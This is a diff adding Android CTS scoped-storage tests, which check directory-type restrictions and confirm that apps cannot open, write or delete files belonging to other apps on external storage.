+class ScopedStorageBaseDeviceTest {
+    private static final String VOLUME_PUBLIC = "volume_public";
+
+    @BeforeClass
+    public static void setup() throws Exception {
+        createPublicVolume();
+        setupStorage();
+    }
+
+    private static void createPublicVolume() throws Exception {
+        if (TestUtils.getCurrentPublicVolumeName() == null) {
+            TestUtils.createNewPublicVolume();
+            assertWithMessage("Expected newly created public volume name to be not null")
+                    .that(TestUtils.getCurrentPublicVolumeName())
+                    .isNotNull();
+        }
+    }
+    private static void setupStorage() throws Exception {
+        if (!getContext().getPackageManager().isInstantApp()) {
+            pollForExternalStorageState();
+            getExternalFilesDir().mkdirs();
+        }
+    }
+
+    void setupExternalStorage(String volumeName) {
+        assertThat(volumeName).isNotNull();
+        if (volumeName.equals(MediaStore.VOLUME_EXTERNAL)) {
+            resetDefaultExternalStorageVolume();
+            TestUtils.assertDefaultVolumeIsPrimary();
+        } else {
+            final String publicVolumeName = TestUtils.getCurrentPublicVolumeName();
+            assertWithMessage("Expected public volume name to be not null")
+                    .that(publicVolumeName)
+                    .isNotNull();
+            setExternalStorageVolume(publicVolumeName);
+            TestUtils.assertDefaultVolumeIsPublic();
+        }
+        setupDefaultDirectories();
+    }
+
+    static List<String> getTestParameters() {
+        return Arrays.asList(
+                MediaStore.VOLUME_EXTERNAL,
+                VOLUME_PUBLIC
+        );
+    }
+}
diff --git a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
new file mode 100644
index 0000000..014c516
--- /dev/null
+++ b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
@@ -0,0 +1,3571 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.scopedstorage.cts.device;
+
+import static android.app.AppOpsManager.permissionToOp;
+import static android.content.Intent.FLAG_GRANT_READ_URI_PERMISSION;
+import static android.database.Cursor.FIELD_TYPE_BLOB;
+import static android.os.ParcelFileDescriptor.MODE_CREATE;
+import static android.os.ParcelFileDescriptor.MODE_READ_WRITE;
+import static android.os.SystemProperties.getBoolean;
+import static android.scopedstorage.cts.lib.RedactionTestHelper.assertExifMetadataMatch;
+import static android.scopedstorage.cts.lib.RedactionTestHelper.assertExifMetadataMismatch;
+import static android.scopedstorage.cts.lib.RedactionTestHelper.getExifMetadata;
+import static android.scopedstorage.cts.lib.RedactionTestHelper.getExifMetadataFromRawResource;
+import static android.scopedstorage.cts.lib.TestUtils.BYTES_DATA2;
+import static android.scopedstorage.cts.lib.TestUtils.STR_DATA2;
+import static android.scopedstorage.cts.lib.TestUtils.allowAppOpsToUid;
+import static android.scopedstorage.cts.lib.TestUtils.assertCanRenameDirectory;
+import static android.scopedstorage.cts.lib.TestUtils.assertCanRenameFile;
+import static android.scopedstorage.cts.lib.TestUtils.assertCantRenameDirectory;
+import static android.scopedstorage.cts.lib.TestUtils.assertCantRenameFile;
+import static android.scopedstorage.cts.lib.TestUtils.assertDirectoryContains;
+import static android.scopedstorage.cts.lib.TestUtils.assertFileContent;
+import static android.scopedstorage.cts.lib.TestUtils.assertMountMode;
+import static android.scopedstorage.cts.lib.TestUtils.assertThrows;
+import static android.scopedstorage.cts.lib.TestUtils.canOpen;
+import static android.scopedstorage.cts.lib.TestUtils.canOpenFileAs;
+import static android.scopedstorage.cts.lib.TestUtils.canOpenRedactedUriForWrite;
+import static android.scopedstorage.cts.lib.TestUtils.canQueryOnUri;
+import static android.scopedstorage.cts.lib.TestUtils.checkPermission;
+import static android.scopedstorage.cts.lib.TestUtils.createFileAs;
+import static android.scopedstorage.cts.lib.TestUtils.deleteFileAs;
+import static android.scopedstorage.cts.lib.TestUtils.deleteFileAsNoThrow;
+import static android.scopedstorage.cts.lib.TestUtils.deleteRecursively;
+import static android.scopedstorage.cts.lib.TestUtils.deleteWithMediaProvider;
+import static android.scopedstorage.cts.lib.TestUtils.deleteWithMediaProviderNoThrow;
+import static android.scopedstorage.cts.lib.TestUtils.denyAppOpsToUid;
+import static android.scopedstorage.cts.lib.TestUtils.executeShellCommand;
+import static android.scopedstorage.cts.lib.TestUtils.forceStopApp;
+import static android.scopedstorage.cts.lib.TestUtils.getAlarmsDir;
+import static android.scopedstorage.cts.lib.TestUtils.getAndroidDataDir;
+import static android.scopedstorage.cts.lib.TestUtils.getAndroidMediaDir;
+import static android.scopedstorage.cts.lib.TestUtils.getAudiobooksDir;
+import static android.scopedstorage.cts.lib.TestUtils.getContentResolver;
+import static android.scopedstorage.cts.lib.TestUtils.getDcimDir;
+import static android.scopedstorage.cts.lib.TestUtils.getDocumentsDir;
+import static android.scopedstorage.cts.lib.TestUtils.getDownloadDir;
+import static android.scopedstorage.cts.lib.TestUtils.getExternalFilesDir;
+import static android.scopedstorage.cts.lib.TestUtils.getExternalMediaDir;
+import static android.scopedstorage.cts.lib.TestUtils.getExternalStorageDir;
+import static android.scopedstorage.cts.lib.TestUtils.getFileMimeTypeFromDatabase;
+import static android.scopedstorage.cts.lib.TestUtils.getFileOwnerPackageFromDatabase;
+import static android.scopedstorage.cts.lib.TestUtils.getFileRowIdFromDatabase;
+import static android.scopedstorage.cts.lib.TestUtils.getFileSizeFromDatabase;
+import static android.scopedstorage.cts.lib.TestUtils.getFileUri;
+import static android.scopedstorage.cts.lib.TestUtils.getImageContentUri;
+import static android.scopedstorage.cts.lib.TestUtils.getMoviesDir;
+import static android.scopedstorage.cts.lib.TestUtils.getMusicDir;
+import static android.scopedstorage.cts.lib.TestUtils.getNotificationsDir;
+import static android.scopedstorage.cts.lib.TestUtils.getPicturesDir;
+import static android.scopedstorage.cts.lib.TestUtils.getPodcastsDir;
+import static android.scopedstorage.cts.lib.TestUtils.getRecordingsDir;
+import static android.scopedstorage.cts.lib.TestUtils.getRingtonesDir;
+import static android.scopedstorage.cts.lib.TestUtils.grantPermission;
+import static android.scopedstorage.cts.lib.TestUtils.installApp;
+import static android.scopedstorage.cts.lib.TestUtils.installAppWithStoragePermissions;
+import static android.scopedstorage.cts.lib.TestUtils.isAppInstalled;
+import static android.scopedstorage.cts.lib.TestUtils.isFileDescriptorRedacted;
+import static android.scopedstorage.cts.lib.TestUtils.isFileOpenRedacted;
+import static android.scopedstorage.cts.lib.TestUtils.listAs;
+import static android.scopedstorage.cts.lib.TestUtils.openWithMediaProvider;
+import static android.scopedstorage.cts.lib.TestUtils.queryFile;
+import static android.scopedstorage.cts.lib.TestUtils.queryFileExcludingPending;
+import static android.scopedstorage.cts.lib.TestUtils.queryImageFile;
+import static android.scopedstorage.cts.lib.TestUtils.queryVideoFile;
+import static android.scopedstorage.cts.lib.TestUtils.readExifMetadataFromTestApp;
+import static android.scopedstorage.cts.lib.TestUtils.revokePermission;
+import static android.scopedstorage.cts.lib.TestUtils.setAppOpsModeForUid;
+import static android.scopedstorage.cts.lib.TestUtils.setAttrAs;
+import static android.scopedstorage.cts.lib.TestUtils.uninstallApp;
+import static android.scopedstorage.cts.lib.TestUtils.uninstallAppNoThrow;
+import static android.scopedstorage.cts.lib.TestUtils.updateDisplayNameWithMediaProvider;
+import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalMediaDirViaRelativePath_allowed;
+import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalPrivateDirViaRelativePath_denied;
+import static android.scopedstorage.cts.lib.TestUtils.verifyUpdateToExternalMediaDirViaRelativePath_allowed;
+import static android.scopedstorage.cts.lib.TestUtils.verifyUpdateToExternalPrivateDirsViaRelativePath_denied;
+import static android.system.OsConstants.F_OK;
+import static android.system.OsConstants.O_APPEND;
+import static android.system.OsConstants.O_CREAT;
+import static android.system.OsConstants.O_EXCL;
+import static android.system.OsConstants.O_RDWR;
+import static android.system.OsConstants.O_TRUNC;
+import static android.system.OsConstants.R_OK;
+import static android.system.OsConstants.S_IRWXU;
+import static android.system.OsConstants.W_OK;
+
+import static androidx.test.InstrumentationRegistry.getContext;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertTrue;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+
+import android.Manifest;
+import android.app.AppOpsManager;
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.content.Intent;
+import android.content.pm.ProviderInfo;
+import android.database.Cursor;
+import android.media.ExifInterface;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.Environment;
+import android.os.FileUtils;
+import android.os.ParcelFileDescriptor;
+import android.os.Process;
+import android.os.storage.StorageManager;
+import android.provider.DocumentsContract;
+import android.provider.MediaStore;
+import android.system.ErrnoException;
+import android.system.Os;
+import android.system.StructStat;
+import android.util.Log;
+
+import androidx.annotation.Nullable;
+
+import com.android.cts.install.lib.TestApp;
+
+import com.google.common.io.Files;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
+import java.io.File;
+import java.io.FileDescriptor;
+import java.io.FileNotFoundException;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.nio.ByteBuffer;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.List;
+
+/**
+ * Device-side test suite to verify scoped storage business logic.
+ */
+@RunWith(Parameterized.class)
+public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest {
+    public static final String STR_DATA1 = "Just some random text";
+
+    public static final byte[] BYTES_DATA1 = STR_DATA1.getBytes();
+
+    static final String TAG = "ScopedStorageDeviceTest";
+    static final String THIS_PACKAGE_NAME = getContext().getPackageName();
+
+    /**
+     * To help avoid flaky tests, give ourselves a unique nonce to be used for
+     * all filesystem paths, so that we don't risk conflicting with previous
+     * test runs.
+     */
+    static final String NONCE = String.valueOf(System.nanoTime());
+
+    static final String TEST_DIRECTORY_NAME = "ScopedStorageDeviceTestDirectory" + NONCE;
+
+    static final String AUDIO_FILE_NAME = "ScopedStorageDeviceTest_file_" + NONCE + ".mp3";
+    static final String PLAYLIST_FILE_NAME = "ScopedStorageDeviceTest_file_" + NONCE + ".m3u";
+    static final String SUBTITLE_FILE_NAME = "ScopedStorageDeviceTest_file_" + NONCE + ".srt";
+    static final String VIDEO_FILE_NAME = "ScopedStorageDeviceTest_file_" + NONCE + ".mp4";
+    static final String IMAGE_FILE_NAME = "ScopedStorageDeviceTest_file_" + NONCE + ".jpg";
+    static final String NONMEDIA_FILE_NAME = "ScopedStorageDeviceTest_file_" + NONCE + ".pdf";
+
+    static final String FILE_CREATION_ERROR_MESSAGE = "No such file or directory";
+
+    // The following apps are installed before the tests are run via a target_preparer.
+    // See test config for details.
+    // An app with READ_EXTERNAL_STORAGE permission
+    private static final TestApp APP_A_HAS_RES = new TestApp("TestAppA",
+            "android.scopedstorage.cts.testapp.A.withres", 1, false,
+            "CtsScopedStorageTestAppA.apk");
+    // An app with no permissions
+    private static final TestApp APP_B_NO_PERMS = new TestApp("TestAppB",
+            "android.scopedstorage.cts.testapp.B.noperms", 1, false,
+            "CtsScopedStorageTestAppB.apk");
+    // An app that has file manager (MANAGE_EXTERNAL_STORAGE) permission.
+    private static final TestApp APP_FM = new TestApp("TestAppFileManager",
+            "android.scopedstorage.cts.testapp.filemanager", 1, false,
+            "CtsScopedStorageTestAppFileManager.apk");
+    // A legacy targeting app with RES and WES permissions
+    private static final TestApp APP_D_LEGACY_HAS_RW = new TestApp("TestAppDLegacy",
+            "android.scopedstorage.cts.testapp.D", 1, false, "CtsScopedStorageTestAppCLegacy.apk");
+
+    // The following apps are not installed at test startup - please install before using.
+    private static final TestApp APP_C = new TestApp("TestAppC",
+            "android.scopedstorage.cts.testapp.C", 1, false, "CtsScopedStorageTestAppC.apk");
+    private static final TestApp APP_C_LEGACY = new TestApp("TestAppCLegacy",
+            "android.scopedstorage.cts.testapp.C", 1, false, "CtsScopedStorageTestAppCLegacy.apk");
+
+    private static final String[] SYSTEM_GALERY_APPOPS = {
+            AppOpsManager.OPSTR_WRITE_MEDIA_IMAGES, AppOpsManager.OPSTR_WRITE_MEDIA_VIDEO};
+    private static final String OPSTR_MANAGE_EXTERNAL_STORAGE =
+            permissionToOp(Manifest.permission.MANAGE_EXTERNAL_STORAGE);
+
+    private static final String TRANSFORMS_DIR = ".transforms";
+    private static final String TRANSFORMS_TRANSCODE_DIR = TRANSFORMS_DIR + "/" + "transcode";
+    private static final String TRANSFORMS_SYNTHETIC_DIR = TRANSFORMS_DIR + "/" + "synthetic";
+
+    @Parameter(0)
+    public String mVolumeName;
+
+    /** Parameters data. */
+    @Parameters(name = "volume={0}")
+    public static Iterable<? extends Object> data() {
+        return ScopedStorageDeviceTest.getTestParameters();
+    }
+
+    @BeforeClass
+    public static void setupApps() throws Exception {
+        // File manager needs to be explicitly granted MES app op.
+        final int fmUid =
+                getContext().getPackageManager().getPackageUid(APP_FM.getPackageName(),
+                        0);
+        allowAppOpsToUid(fmUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
+
+        // Others are installed by target preparer with runtime permissions.
+        // Verify.
+        assertThat(checkPermission(APP_A_HAS_RES,
+                Manifest.permission.READ_EXTERNAL_STORAGE)).isTrue();
+        assertThat(checkPermission(APP_B_NO_PERMS,
+                Manifest.permission.READ_EXTERNAL_STORAGE)).isFalse();
+        assertThat(checkPermission(APP_D_LEGACY_HAS_RW,
+                Manifest.permission.READ_EXTERNAL_STORAGE)).isTrue();
+        assertThat(checkPermission(APP_D_LEGACY_HAS_RW,
+                Manifest.permission.WRITE_EXTERNAL_STORAGE)).isTrue();
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        executeShellCommand("rm -r /sdcard/Android/data/com.android.shell");
+    }
+
+    @Before
+    public void setupExternalStorage() {
+        super.setupExternalStorage(mVolumeName);
+        Log.i(TAG, "Using volume : " + mVolumeName);
+    }
+
+    /**
+     * Test that we enforce certain media types can only be created in certain directories.
+     */
+    @Test
+    public void testTypePathConformity() throws Exception {
+        final File dcimDir = getDcimDir();
+        final File documentsDir = getDocumentsDir();
+        final File downloadDir = getDownloadDir();
+        final File moviesDir = getMoviesDir();
+        final File musicDir = getMusicDir();
+        final File picturesDir = getPicturesDir();
+        final File recordingsDir = getRecordingsDir();
+        // Only audio files can be created in Music
+        assertThrows(IOException.class, "Operation not permitted",
+                () -> {
+                    new File(musicDir, NONMEDIA_FILE_NAME).createNewFile();
+                });
+        assertThrows(IOException.class, "Operation not permitted",
+                () -> {
+                    new File(musicDir, VIDEO_FILE_NAME).createNewFile();
+                });
+        assertThrows(IOException.class, "Operation not permitted",
+                () -> {
+                    new File(musicDir, IMAGE_FILE_NAME).createNewFile();
+                });
+        // Only video files can be created in Movies
+        assertThrows(IOException.class, "Operation not permitted",
+                () -> {
+                    new File(moviesDir, NONMEDIA_FILE_NAME).createNewFile();
+                });
+        assertThrows(IOException.class, "Operation not permitted",
+                () -> {
+                    new File(moviesDir, AUDIO_FILE_NAME).createNewFile();
+                });
+        assertThrows(IOException.class, "Operation not permitted",
+                () -> {
+                    new File(moviesDir, IMAGE_FILE_NAME).createNewFile();
+                });
+        // Only image and video files can be created in DCIM
+        assertThrows(IOException.class, "Operation not permitted",
+                () -> {
+                    new File(dcimDir, NONMEDIA_FILE_NAME).createNewFile();
+                });
+        assertThrows(IOException.class, "Operation not permitted",
+                () -> {
+                    new File(dcimDir, AUDIO_FILE_NAME).createNewFile();
+                });
+        // Only image and video files can be created in Pictures
+        assertThrows(IOException.class, "Operation not permitted",
+                () -> {
+                    new File(picturesDir, NONMEDIA_FILE_NAME).createNewFile();
+                });
+        assertThrows(IOException.class, "Operation not permitted",
+                () -> {
+                    new File(picturesDir, AUDIO_FILE_NAME).createNewFile();
+                });
+        assertThrows(IOException.class, "Operation not permitted",
+                () -> {
+                    new File(picturesDir, PLAYLIST_FILE_NAME).createNewFile();
+                });
+        assertThrows(IOException.class, "Operation not permitted",
+                () -> {
+                    new File(dcimDir, SUBTITLE_FILE_NAME).createNewFile();
+                });
+        // Only audio files can be created in Recordings
+        assertThrows(IOException.class, "Operation not permitted",
+                () -> {
+                    new File(recordingsDir, NONMEDIA_FILE_NAME).createNewFile();
+                });
+        assertThrows(IOException.class, "Operation not permitted",
+                () -> {
+                    new File(recordingsDir, VIDEO_FILE_NAME).createNewFile();
+                });
+        assertThrows(IOException.class, "Operation not permitted",
+                () -> {
+                    new File(recordingsDir, IMAGE_FILE_NAME).createNewFile();
+                });
+
+        assertCanCreateFile(new File(getAlarmsDir(), AUDIO_FILE_NAME));
+        assertCanCreateFile(new File(getAudiobooksDir(), AUDIO_FILE_NAME));
+        assertCanCreateFile(new File(dcimDir, IMAGE_FILE_NAME));
+        assertCanCreateFile(new File(dcimDir, VIDEO_FILE_NAME));
+        assertCanCreateFile(new File(documentsDir, AUDIO_FILE_NAME));
+        assertCanCreateFile(new File(documentsDir, IMAGE_FILE_NAME));
+        assertCanCreateFile(new File(documentsDir, NONMEDIA_FILE_NAME));
+        assertCanCreateFile(new File(documentsDir, PLAYLIST_FILE_NAME));
+        assertCanCreateFile(new File(documentsDir, SUBTITLE_FILE_NAME));
+        assertCanCreateFile(new File(documentsDir, VIDEO_FILE_NAME));
+        assertCanCreateFile(new File(downloadDir, AUDIO_FILE_NAME));
+        assertCanCreateFile(new File(downloadDir, IMAGE_FILE_NAME));
+        assertCanCreateFile(new File(downloadDir, NONMEDIA_FILE_NAME));
+        assertCanCreateFile(new File(downloadDir, PLAYLIST_FILE_NAME));
+        assertCanCreateFile(new File(downloadDir, SUBTITLE_FILE_NAME));
+        assertCanCreateFile(new File(downloadDir, VIDEO_FILE_NAME));
+        assertCanCreateFile(new File(moviesDir, VIDEO_FILE_NAME));
+        assertCanCreateFile(new File(moviesDir, SUBTITLE_FILE_NAME));
+        assertCanCreateFile(new File(musicDir, AUDIO_FILE_NAME));
+        assertCanCreateFile(new File(musicDir, PLAYLIST_FILE_NAME));
+        assertCanCreateFile(new File(getNotificationsDir(), AUDIO_FILE_NAME));
+        assertCanCreateFile(new File(picturesDir, IMAGE_FILE_NAME));
+        assertCanCreateFile(new File(picturesDir, VIDEO_FILE_NAME));
+        assertCanCreateFile(new File(getPodcastsDir(), AUDIO_FILE_NAME));
+        assertCanCreateFile(new File(recordingsDir, AUDIO_FILE_NAME));
+        assertCanCreateFile(new File(getRingtonesDir(), AUDIO_FILE_NAME));
+
+        // No file whatsoever can be created in the top level directory
+        assertThrows(IOException.class, "Operation not permitted",
+                () -> {
+                    new File(getExternalStorageDir(), NONMEDIA_FILE_NAME).createNewFile();
+                });
+        assertThrows(IOException.class, "Operation not permitted",
+                () -> {
+                    new File(getExternalStorageDir(), AUDIO_FILE_NAME).createNewFile();
+                });
+        assertThrows(IOException.class, "Operation not permitted",
+                () -> {
+                    new File(getExternalStorageDir(), IMAGE_FILE_NAME).createNewFile();
+                });
+        assertThrows(IOException.class, "Operation not permitted",
+                () -> {
+                    new File(getExternalStorageDir(), VIDEO_FILE_NAME).createNewFile();
+                });
+    }
+
+    /**
+     * Test that we can create a file in app's external files directory,
+     * and that we can write and read to/from the file.
+     */
+    @Test
+    public void testCreateFileInAppExternalDir() throws Exception {
+        final File file = new File(getExternalFilesDir(), "text.txt");
+        try {
+            assertThat(file.createNewFile()).isTrue();
+            assertThat(file.delete()).isTrue();
+            // Ensure the file is properly deleted and can be created again
+            assertThat(file.createNewFile()).isTrue();
+
+            // Write to file
+            try (FileOutputStream fos = new FileOutputStream(file)) {
+                fos.write(BYTES_DATA1);
+            }
+
+            // Read the same data from file
+            assertFileContent(file, BYTES_DATA1);
+        } finally {
+            file.delete();
+        }
+    }
+
+    /**
+     * Test that we can't create a file in another app's external files directory,
+     * and that we'll get the same error regardless of whether the app exists or not.
+     */
+    @Test
+    public void testCreateFileInOtherAppExternalDir() throws Exception {
+        // Creating a file in a non existent package dir should return ENOENT, as expected
+        final File nonexistentPackageFileDir = new File(
+                getExternalFilesDir().getPath().replace(THIS_PACKAGE_NAME, "no.such.package"));
+        final File file1 = new File(nonexistentPackageFileDir, NONMEDIA_FILE_NAME);
+        assertThrows(
+                IOException.class, FILE_CREATION_ERROR_MESSAGE, () -> {
+                    file1.createNewFile();
+                });
+
+        // Creating a file in an existent package dir should give the same error string to avoid
+        // leaking installed app names, and we know the following directory exists because shell
+        // mkdirs it in test setup
+        final File shellPackageFileDir = new File(
+                getExternalFilesDir().getPath().replace(THIS_PACKAGE_NAME, "com.android.shell"));
+        final File file2 = new File(shellPackageFileDir, NONMEDIA_FILE_NAME);
+        assertThrows(
+                IOException.class, FILE_CREATION_ERROR_MESSAGE, () -> {
+                    file1.createNewFile();
+                });
+    }
+
+    /**
+     * Test that apps can't read/write files in another app's external files directory,
+     * and can do so in their own app's external file directory.
+     */
+    @Test
+    public void testReadWriteFilesInOtherAppExternalDir() throws Exception {
+        final File videoFile = new File(getExternalFilesDir(), VIDEO_FILE_NAME);
+
+        try {
+            // Create a file in app's external files directory
+            if (!videoFile.exists()) {
+                assertThat(videoFile.createNewFile()).isTrue();
+            }
+
+            // App A should not be able to read/write to other app's external files directory.
+            assertThat(canOpenFileAs(APP_A_HAS_RES, videoFile, false /* forWrite */)).isFalse();
+            assertThat(canOpenFileAs(APP_A_HAS_RES, videoFile, true /* forWrite */)).isFalse();
+            // App A should not be able to delete files in other app's external files
+            // directory.
+            assertThat(deleteFileAs(APP_A_HAS_RES, videoFile.getPath())).isFalse();
+
+            // Apps should have read/write access in their own app's external files directory.
+            assertThat(canOpen(videoFile, false /* forWrite */)).isTrue();
+            assertThat(canOpen(videoFile, true /* forWrite */)).isTrue();
+            // Apps should be able to delete files in their own app's external files directory.
+            assertThat(videoFile.delete()).isTrue();
+        } finally {
+            videoFile.delete();
+        }
+    }
+
+    /**
+     * Test that we can contribute media without any permissions.
+     */
+    @Test
+    public void testContributeMediaFile() throws Exception {
+        final File imageFile = new File(getDcimDir(), IMAGE_FILE_NAME);
+
+        try {
+            assertThat(imageFile.createNewFile()).isTrue();
+
+            // Ensure that the file was successfully added to the MediaProvider database
+            assertThat(getFileOwnerPackageFromDatabase(imageFile)).isEqualTo(THIS_PACKAGE_NAME);
+
+            // Try to write random data to the file
+            try (FileOutputStream fos = new FileOutputStream(imageFile)) {
+                fos.write(BYTES_DATA1);
+                fos.write(BYTES_DATA2);
+            }
+
+            final byte[] expected = (STR_DATA1 + STR_DATA2).getBytes();
+            assertFileContent(imageFile, expected);
+
+            // Closing the file after writing will not trigger a MediaScan. Call scanFile to update
+            // file's entry in MediaProvider's database.
+            assertThat(MediaStore.scanFile(getContentResolver(), imageFile)).isNotNull();
+
+            // Ensure that the scan was completed and the file's size was updated.
+            assertThat(getFileSizeFromDatabase(imageFile)).isEqualTo(
+                    BYTES_DATA1.length + BYTES_DATA2.length);
+        } finally {
+            imageFile.delete();
+        }
+        // Ensure that delete makes a call to MediaProvider to remove the file from its database.
+        assertThat(getFileRowIdFromDatabase(imageFile)).isEqualTo(-1);
+    }
+
+    @Test
+    public void testCreateAndDeleteEmptyDir() throws Exception {
+        final File externalFilesDir = getExternalFilesDir();
+        // Remove directory in order to create it again
+        externalFilesDir.delete();
+
+        // Can create own external files dir
+        assertThat(externalFilesDir.mkdir()).isTrue();
+
+        final File dir1 = new File(externalFilesDir, "random_dir");
+        // Can create dirs inside it
+        assertThat(dir1.mkdir()).isTrue();
+
+        final File dir2 = new File(dir1, "random_dir_inside_random_dir");
+        // And create a dir inside the new dir
+        assertThat(dir2.mkdir()).isTrue();
+
+        // And can delete them all
+        assertThat(dir2.delete()).isTrue();
+        assertThat(dir1.delete()).isTrue();
+        assertThat(externalFilesDir.delete()).isTrue();
+
+        // Can't create external dir for other apps
+        final File nonexistentPackageFileDir = new File(
+                externalFilesDir.getPath().replace(THIS_PACKAGE_NAME, "no.such.package"));
+        final File shellPackageFileDir = new File(
+                externalFilesDir.getPath().replace(THIS_PACKAGE_NAME, "com.android.shell"));
+
+        assertThat(nonexistentPackageFileDir.mkdir()).isFalse();
+        assertThat(shellPackageFileDir.mkdir()).isFalse();
+    }
+
+    @Test
+    public void testCantAccessOtherAppsContents() throws Exception {
+        final File mediaFile = new File(getPicturesDir(), IMAGE_FILE_NAME);
+        final File nonMediaFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
+        try {
+            assertThat(createFileAs(APP_B_NO_PERMS, mediaFile.getPath())).isTrue();
+            assertThat(createFileAs(APP_B_NO_PERMS, nonMediaFile.getPath())).isTrue();
+
+            // We can still see that the files exist
+            assertThat(mediaFile.exists()).isTrue();
+            assertThat(nonMediaFile.exists()).isTrue();
+
+            // But we can't access their content
+            assertThat(canOpen(mediaFile, /* forWrite */ false)).isFalse();
+            assertThat(canOpen(nonMediaFile, /* forWrite */ true)).isFalse();
+            assertThat(canOpen(mediaFile, /* forWrite */ false)).isFalse();
+            assertThat(canOpen(nonMediaFile, /* forWrite */ true)).isFalse();
+        } finally {
+            deleteFileAsNoThrow(APP_B_NO_PERMS, nonMediaFile.getPath());
+            deleteFileAsNoThrow(APP_B_NO_PERMS, mediaFile.getPath());
+        }
+    }
+
+    @Test
+    public void testCantDeleteOtherAppsContents() throws Exception {
+        final File dirInDownload = new File(getDownloadDir(), TEST_DIRECTORY_NAME);
+        final File mediaFile = new File(dirInDownload, IMAGE_FILE_NAME);
+        final File nonMediaFile = new File(dirInDownload, NONMEDIA_FILE_NAME);
+        try {
+            assertThat(dirInDownload.mkdir()).isTrue();
+            // Have another app create a media file in the directory
+            assertThat(createFileAs(APP_B_NO_PERMS, mediaFile.getPath())).isTrue();
+
+            // Can't delete the directory since it contains another app's content
+            assertThat(dirInDownload.delete()).isFalse();
+            // Can't delete another app's content
+            assertThat(deleteRecursively(dirInDownload)).isFalse();
+
+            // Have another app create a non-media file in the directory
+            assertThat(createFileAs(APP_B_NO_PERMS, nonMediaFile.getPath())).isTrue();
+
+            // Can't delete the directory since it contains another app's content
+            assertThat(dirInDownload.delete()).isFalse();
+            // Can't delete another app's content
+            assertThat(deleteRecursively(dirInDownload)).isFalse();
+
+            // Delete only the media file and keep the non-media file
+            assertThat(deleteFileAs(APP_B_NO_PERMS, mediaFile.getPath())).isTrue();
+            // Directory now has only the non-media file contributed by another app, so we still
+            // can't delete it nor its content
+            assertThat(dirInDownload.delete()).isFalse();
+            assertThat(deleteRecursively(dirInDownload)).isFalse();
+
+            // Delete the last file belonging to another app
+            assertThat(deleteFileAs(APP_B_NO_PERMS, nonMediaFile.getPath())).isTrue();
+            // Create our own file
+            assertThat(nonMediaFile.createNewFile()).isTrue();
+
+            // Now that the directory only has content that was contributed by us, we can delete it
+            assertThat(deleteRecursively(dirInDownload)).isTrue();
+        } finally {
+            deleteFileAsNoThrow(APP_B_NO_PERMS, nonMediaFile.getPath());
+            deleteFileAsNoThrow(APP_B_NO_PERMS, mediaFile.getPath());
+            // At this point, we're not sure who created this file, so we'll have both apps
+            // deleting it
+            mediaFile.delete();
+            dirInDownload.delete();
+        }
+    }
+
+    /**
+     * Test that deleting uri corresponding to a file which was already deleted via filePath
+     * doesn't result in a security exception.
+     */
+    @Test
+    public void testDeleteAlreadyUnlinkedFile() throws Exception {
+        final File nonMediaFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
+        try {
+            assertTrue(nonMediaFile.createNewFile());
+            final Uri uri = MediaStore.scanFile(getContentResolver(), nonMediaFile);
+            assertNotNull(uri);
+
+            // Delete the file via filePath
+            assertTrue(nonMediaFile.delete());
+
+            // If we delete nonMediaFile with ContentResolver#delete, it shouldn't result in a
+            // security exception.
+            assertThat(getContentResolver().delete(uri, Bundle.EMPTY)).isEqualTo(0);
+        } finally {
+            nonMediaFile.delete();
+        }
+    }
+
+    /**
+     * This test relies on the fact that {@link File#list} uses opendir internally, and that it
+     * returns {@code null} if opendir fails.
+     */
+    @Test
+    public void testOpendirRestrictions() throws Exception {
+        // Opening a non existent package directory should fail, as expected
+        final File nonexistentPackageFileDir = new File(
+                getExternalFilesDir().getPath().replace(THIS_PACKAGE_NAME, "no.such.package"));
+        assertThat(nonexistentPackageFileDir.list()).isNull();
+
+        // Opening another package's external directory should fail as well, even if it exists
+        final File shellPackageFileDir = new File(
+                getExternalFilesDir().getPath().replace(THIS_PACKAGE_NAME, "com.android.shell"));
+        assertThat(shellPackageFileDir.list()).isNull();
+
+        // We can open our own external files directory
+        final String[] filesList = getExternalFilesDir().list();
+        assertThat(filesList).isNotNull();
+
+        // We can open any public directory in external storage
+        assertThat(getDcimDir().list()).isNotNull();
+        assertThat(getDownloadDir().list()).isNotNull();
+        assertThat(getMoviesDir().list()).isNotNull();
+        assertThat(getMusicDir().list()).isNotNull();
+
+        // We can open the root directory of external storage
+        final String[] topLevelDirs = getExternalStorageDir().list();
+        assertThat(topLevelDirs).isNotNull();
+        // TODO(b/145287327): This check fails on a device with no visible files.
+        // This can be fixed if we display default directories.
+        // assertThat(topLevelDirs).isNotEmpty();
+    }
